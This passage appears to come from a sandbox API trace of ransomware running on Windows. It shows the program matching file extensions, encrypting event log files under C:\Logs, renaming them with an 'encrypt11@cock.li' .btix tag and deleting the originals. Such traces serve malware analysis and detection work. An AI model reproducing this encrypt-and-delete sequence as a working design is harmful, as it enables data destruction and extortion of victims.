(lpString=".7z") returned 3 [0048.624] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.624] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0048.624] lstrlenW (lpString=".dbf") returned 4 [0048.624] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.624] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0048.624] lstrlenW (lpString=".1cd") returned 4 [0048.624] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.624] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0048.624] lstrlenW (lpString=".jpg") returned 4 [0048.624] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.624] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0048.624] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0048.624] lstrlenW (lpString=".doc") returned 4 [0048.624] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.624] lstrlenW (lpString=".docx") returned 5 [0048.624] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.624] lstrlenW (lpString=".pdf") returned 4 [0048.624] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.624] lstrlenW (lpString=".xls") returned 4 [0048.624] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.624] lstrlenW (lpString=".xlsx") returned 5 [0048.624] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.624] lstrlenW (lpString=".ppt") returned 4 [0048.624] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.625] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0048.625] lstrlenW (lpString=".zip") returned 4 [0048.625] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.625] lstrlenW (lpString=".rar") returned 4 [0048.625] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.625] lstrlenW (lpString=".bz2") returned 4 [0048.625] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.625] lstrlenW (lpString=".7z") returned 3 [0048.625] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.625] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0048.625] lstrlenW (lpString=".dbf") returned 4 [0048.625] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.625] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0048.625] lstrlenW (lpString=".1cd") returned 4 [0048.625] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.625] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0048.625] lstrlenW (lpString=".jpg") returned 4 [0048.625] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.625] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0048.625] lstrlenW (lpString="Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 49 [0048.625] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.625] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0048.625] CloseHandle (hObject=0x36c) returned 1 [0048.626] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20 [0048.626] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.626] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.626] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.626] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.626] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0048.626] GetLastError () returned 0x0 [0048.626] ReadFile (in: hFile=0x36c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0048.740] WriteFile (in: hFile=0x32c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0048.741] ReadFile (in: hFile=0x36c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.742] WriteFile (in: hFile=0x32c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x136, lpOverlapped=0x0) returned 1 [0048.742] SetEndOfFile (hFile=0x32c) returned 1 [0048.742] CloseHandle (hObject=0x32c) returned 1 [0048.743] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.743] SetEndOfFile (hFile=0x36c) returned 1 [0048.744] CloseHandle (hObject=0x36c) returned 1 [0048.744] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0048.745] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 1 [0048.745] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0048.745] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0048.745] lstrlenW (lpString=".doc") returned 4 [0048.745] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.745] lstrlenW (lpString=".docx") returned 5 [0048.745] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.745] lstrlenW (lpString=".pdf") returned 4 [0048.745] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.745] lstrlenW (lpString=".xls") returned 4 [0048.745] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.745] lstrlenW (lpString=".xlsx") returned 5 [0048.745] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.745] lstrlenW (lpString=".ppt") returned 4 [0048.745] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.745] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0048.745] lstrlenW (lpString=".zip") returned 4 [0048.745] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.745] lstrlenW (lpString=".rar") returned 4 [0048.745] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.745] lstrlenW (lpString=".bz2") returned 4 [0048.745] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.746] lstrlenW (lpString=".7z") returned 3 [0048.746] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.746] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0048.746] lstrlenW (lpString=".dbf") returned 4 [0048.746] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.746] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0048.746] lstrlenW (lpString=".1cd") returned 4 [0048.746] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.746] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0048.746] lstrlenW (lpString=".jpg") returned 4 [0048.746] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.746] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0048.746] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0048.746] lstrlenW (lpString=".doc") returned 4 [0048.746] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.746] lstrlenW (lpString=".docx") returned 5 [0048.746] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.746] lstrlenW (lpString=".pdf") returned 4 [0048.746] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.746] lstrlenW (lpString=".xls") returned 4 [0048.746] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.746] lstrlenW (lpString=".xlsx") returned 5 [0048.746] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.746] lstrlenW (lpString=".ppt") returned 4 [0048.746] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.747] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0048.747] lstrlenW (lpString=".zip") returned 4 [0048.747] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.747] lstrlenW (lpString=".rar") returned 4 [0048.747] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.747] lstrlenW (lpString=".bz2") returned 4 [0048.747] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.747] lstrlenW (lpString=".7z") returned 3 [0048.747] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.747] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0048.747] lstrlenW (lpString=".dbf") returned 4 [0048.747] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.747] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0048.747] lstrlenW (lpString=".1cd") returned 4 [0048.747] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.747] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 57 [0048.747] lstrlenW (lpString=".jpg") returned 4 [0048.747] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.747] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0048.747] lstrlenW (lpString="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 64 [0048.747] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.752] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0048.752] CloseHandle (hObject=0x36c) returned 1 [0048.752] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20 [0048.752] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.753] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.753] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.753] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.753] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0048.753] GetLastError () returned 0x0 [0048.753] ReadFile (in: hFile=0x36c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0048.819] WriteFile (in: hFile=0x32c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0048.821] ReadFile (in: hFile=0x36c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.821] WriteFile (in: hFile=0x32c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x154, lpOverlapped=0x0) returned 1 [0048.821] SetEndOfFile (hFile=0x32c) returned 1 [0048.821] CloseHandle (hObject=0x32c) returned 1 [0048.823] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.823] SetEndOfFile (hFile=0x36c) returned 1 [0048.825] CloseHandle (hObject=0x36c) returned 1 [0048.826] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0048.826] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 1 [0048.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0048.826] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0048.827] lstrlenW (lpString=".doc") returned 4 [0048.827] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.827] lstrlenW (lpString=".docx") returned 5 [0048.827] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.827] lstrlenW (lpString=".pdf") returned 4 [0048.827] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.827] lstrlenW (lpString=".xls") returned 4 [0048.827] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.827] lstrlenW (lpString=".xlsx") returned 5 [0048.827] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.827] lstrlenW (lpString=".ppt") returned 4 [0048.827] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0048.827] lstrlenW (lpString=".zip") returned 4 [0048.827] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.827] lstrlenW (lpString=".rar") returned 4 [0048.827] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.827] lstrlenW (lpString=".bz2") returned 4 [0048.827] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.827] lstrlenW (lpString=".7z") returned 3 [0048.827] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0048.827] lstrlenW (lpString=".dbf") returned 4 [0048.827] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.827] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0048.827] lstrlenW (lpString=".1cd") returned 4 [0048.828] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.828] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0048.828] lstrlenW (lpString=".jpg") returned 4 [0048.828] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.828] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0048.828] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0048.828] lstrlenW (lpString=".doc") returned 4 [0048.828] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.828] lstrlenW (lpString=".docx") returned 5 [0048.828] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.828] lstrlenW (lpString=".pdf") returned 4 [0048.828] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.828] lstrlenW (lpString=".xls") returned 4 [0048.828] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.828] lstrlenW (lpString=".xlsx") returned 5 [0048.828] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.828] lstrlenW (lpString=".ppt") returned 4 [0048.828] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.828] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0048.828] lstrlenW (lpString=".zip") returned 4 [0048.828] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.828] lstrlenW (lpString=".rar") returned 4 [0048.828] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.828] lstrlenW (lpString=".bz2") returned 4 [0048.828] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.829] lstrlenW (lpString=".7z") returned 3 [0048.829] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.829] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0048.829] lstrlenW (lpString=".dbf") returned 4 [0048.829] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.829] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0048.829] lstrlenW (lpString=".1cd") returned 4 [0048.829] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.829] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0048.829] lstrlenW (lpString=".jpg") returned 4 [0048.829] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.829] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0048.829] lstrlenW (lpString="Microsoft-Windows-Bits-Client%4Operational.evtx") returned 47 [0048.829] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.830] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0048.830] CloseHandle (hObject=0x36c) returned 1 [0048.830] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20 [0048.830] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.830] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0048.830] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.830] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.830] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0048.873] GetLastError () returned 0x0 [0048.873] ReadFile (in: hFile=0x36c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0049.005] WriteFile (in: hFile=0x308, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0049.007] ReadFile (in: hFile=0x36c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.007] WriteFile (in: hFile=0x308, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x132, lpOverlapped=0x0) returned 1 [0049.007] SetEndOfFile (hFile=0x308) returned 1 [0049.007] CloseHandle (hObject=0x308) returned 1 [0049.010] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.010] SetEndOfFile (hFile=0x36c) returned 1 [0049.011] CloseHandle (hObject=0x36c) returned 1 [0049.011] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0049.011] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 1 [0049.011] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0049.011] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0049.011] lstrlenW (lpString=".doc") returned 4 [0049.011] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.012] lstrlenW (lpString=".docx") returned 5 [0049.012] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.012] lstrlenW (lpString=".pdf") returned 4 [0049.012] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.012] lstrlenW (lpString=".xls") returned 4 [0049.012] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.012] lstrlenW (lpString=".xlsx") returned 5 [0049.012] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.012] lstrlenW (lpString=".ppt") returned 4 [0049.012] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0049.012] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0049.012] lstrlenW (lpString=".zip") returned 4 [0049.012] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0049.012] lstrlenW (lpString=".rar") returned 4 [0049.012] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0049.012] lstrlenW (lpString=".bz2") returned 4 [0049.012] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0049.012] lstrlenW (lpString=".7z") returned 3 [0049.012] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0049.012] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0049.012] lstrlenW (lpString=".dbf") returned 4 [0049.013] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0049.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0049.013] lstrlenW (lpString=".1cd") returned 4 [0049.013] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0049.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0049.013] lstrlenW (lpString=".jpg") returned 4 [0049.013] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0049.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0049.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0049.013] lstrlenW (lpString=".doc") returned 4 [0049.013] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0049.013] lstrlenW (lpString=".docx") returned 5 [0049.013] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0049.013] lstrlenW (lpString=".pdf") returned 4 [0049.013] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0049.013] lstrlenW (lpString=".xls") returned 4 [0049.013] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0049.013] lstrlenW (lpString=".xlsx") returned 5 [0049.013] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0049.013] lstrlenW (lpString=".ppt") returned 4 [0049.013] lstrcmpiW 